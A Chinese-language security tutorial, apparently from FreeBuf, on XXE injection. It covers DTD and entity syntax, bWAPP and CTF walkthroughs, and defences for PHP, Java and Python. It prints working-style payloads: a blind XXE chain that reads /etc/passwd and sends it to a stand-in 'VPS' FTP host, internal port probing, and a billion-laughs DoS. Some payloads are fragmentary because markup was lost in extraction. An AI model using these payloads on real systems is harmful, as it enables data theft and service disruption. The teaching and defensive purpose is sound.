淺談XML實體注入漏洞
- 本文作者:[email protected],本文屬FreeBuf原創獎勵計劃,未經許可禁止轉載
學習了XXE漏洞,自己來總結一下,如果有什麼寫的不到位,不夠好的地方,還請師傅們指出。
0×00 XXE漏洞
XXE漏洞全稱XML External Entity Injection即xml外部實體注入漏洞,XXE漏洞發生在應用程式解析XML輸入時,沒有禁止外部實體的載入,導致可載入惡意外部檔案,造成檔案讀取、命令執行、內網埠掃描、攻擊內網網站、發起dos攻擊等危害。xxe漏洞觸發的點往往是可以上傳xml檔案的位置,沒有對上傳的xml檔案進行過濾,導致可上傳惡意xml檔案。
0×01 XML
既然說到XML,就先學習一波XML。
-
XML被設計為傳輸和儲存資料,其焦點是資料的內容。
-
HTML被設計用來顯示資料,其焦點是資料的外觀。
XML把資料從HTML分離,XML是獨立於軟體和硬體的資訊傳輸工具。
基本語法:
-
所有 XML 元素都須有關閉標籤。
-
XML 標籤對大小寫敏感。
-
XML 必須正確地巢狀。
-
XML 文件必須有根元素。
-
XML 的屬性值須加引號。
-
實體引用,這裡看個例子,如果你把字元 “<” 放在 XML,素中,會發生錯誤,這是因為解析器會把它當作新元素的開始。這樣會產生XML錯誤:
<message>hello < world</message>
,為了避免錯誤。我們用實體引用<
來代替”<”字元。XML中,有5個預定義的實體引用。
1.png- XML中的註釋,在XML中編寫註釋的語法與 HTML 的語法很相似。
- 在 XML 中,空格會被保留,多個空格不會被合併為一個。
]>
Y0u
@re
外部DTD例項
<?xml version="1.0"?> Y0u @re v3ry g00d! test.dtd: <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT head (#PCDATA)> <!ELEMENT body (#PCDATA)>3.png
原始碼
4.png
- PCDATA的意思是被解析的字元資料。PCDATA是會被解析器解析的文字。這些文字將被解析器檢查實體以及標記。文字中的標籤會被當作標記來處理,而實體會被展開。
5.png不過,被解析的字元資料不應當包含任何&,<,或者>字元,需要用&
<
>
實體來分別替換
- CDATA意思是字元資料,CDATA 是不會被解析器解析的文字,在這些文字中的標籤不會被當作標記來對待,其中的實體也不會被展開。
DTD元素
6.png
DTD屬性
屬性宣告使用以下語法
DTD例項
<!ATTLIST payment Hu3sky CDATA "H">XML例項
以下是屬性型別的選項7.png
預設值引數可以使用下列值:
8.png
DTD-實體(重要)
實體是用於定義引用普通文字或特殊字元的快捷方式的變數。
實體引用是對實體的引用。
實體可以在內部或外部進行宣告
9.png
內部實體
<!ENTITY 實體名稱 "實體的值">外部實體
<!ENTITY 實體名稱 SYSTEM "URL">引數實體
<!ENTITY %實體名稱 "值">or
<!ENTITY %實體名稱 SYSTEM "URL">內部實體例子
<?xml version="1.0"?> <!ENTITY hack3r "Hu3sky">]>
&hack3r;
結果
10.png引數實體+外部實體
<?xml version="1.0" encoding="utf-8"?>%name;
]>
%name
(引數實體)是在DTD中被引用的,而&name;
是在xml文件中被引用的。
XXE主要是利用了DTD引用外部實體導致的漏洞。
0×03 攻擊思路
-
引用外部實體遠端檔案讀取
-
Blind XXE
-
DoS
外部實體引用,有回顯
讀取任意檔案
例子一
這裡我用bWAPP平臺上的一道XXE的題目來說明
題目是這樣的,我們點選這個按鈕然後抓包看看11.png
12.png可以看到xxe-1.php頁面以POST方式向xxe-2.php頁面傳輸了XML資料,既然是XML資料,我們就可以自己增加一個惡意外部實體然後再原本的XML資料中進行實體呼叫,來進行XXE攻擊,如下:
13.png可以看到,成功的讀取了robots.txt中的內容,這裡的hu3sky是我們定義的一個外部實體。
為了更好理解原理,我們來看一看xxe-2.php的原始碼。
主要程式碼在這。
17.png可以看到這裡直接用了simplexml_load_string()
,simplexml_load_string() 函式的作用是把XML 字串載入物件中。函式獲取xml內容,並沒有做任何過濾,
message顯示在螢幕上 18.png
例子二
jarvisoj上的一道題目API呼叫
這道題的題目說明是 請設法獲得目標機器/home/ctf/flag.txt中的flag值。
進入題目 http://web.jarvisoj.com:9882/ 發現一個輸入框,我們對其進行抓包3.png發現了json資料,修改發現可以被解析
4.png。一開始沒有思路,後來看了wp,發現是要把json處改為xml。所以就知道了,這題是xxe。修改json處,構造一個xml表單進行xml注入,得到flag。5.png
檢測內網埠
有回顯時,直接傳送payload:
<?xml version="1.0" encoding="utf-8"?> <!ENTITY XXE SYSTEM "http://127.0.0.1:80" >]> &XXE; 當我們檢測80埠時,80埠開放,這時會返回頁面報錯資訊(記得url編碼。因為頁面會解碼一次),如下:15.png 當我們檢測3389埠,3389埠未開放,埠未開放時返回情況如下:
16.pngBlind XXE
如果伺服器沒有回顯,只能使用Blind XXE漏洞來構建一條外帶資料(OOB)通道來讀取資料。
所以,在沒有回顯的情況下如何來利用XXE
14.png
思路:
-
客戶端傳送payload 1給web伺服器
-
web伺服器向vps獲取惡意DTD,並執行檔案讀取payload2
-
web伺服器帶著回顯結果訪問VPS上特定的FTP或者HTTP
-
通過VPS獲得回顯(nc監聽埠)
本地客戶端(payload 1 )
<?xml version="1.0" encoding="UTF-8"?> %remote;]>由於web端會解碼,所以需要我們先html實體編碼一次
payload 2 也就是test.xml的內容(VPS)
<!ENTITY % payload SYSTEM "file:///etc/passwd"> <!ENTITY % int "<!ENTITY % trick SYSTEM 'ftp://VPS:21/%payload;'>">%int;
%trick;
這個是先將SYSTEM的file協議讀取到的內容賦值給引數實體%payload,第二步是一個實體巢狀,trick是遠端訪問ftp協議所攜帶的內容
DOS
<?xml version="1.0"?> <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">]>
&lol9;
這個的原理就是遞迴引用,lol 實體具體還有 “lol” 字串,然後一個 lol2 實體引用了 10 次 lol 實體,一個 lol3 實體引用了 10 次 lol2 實體,此時一個 lol3 實體就含有 10^2 個 “lol” 了,以此類推,lol9 實體含有 10^8 個 “lol” 字串,最後再引用lol9。
命令執行
php環境下,xml命令執行需要php裝有expect擴充套件,但是該擴充套件預設沒有安裝,所以一般來說,比較難利用,這裡就只給出程式碼了
]>
&f;
EOF;
xml);
print_r($data);
?>
0×04 防禦XXE
使用開發語言提供的禁用外部實體的方法
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
#過濾使用者提交的XML資料
過濾關鍵字:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC。
不允許XML中含有自己定義的DTD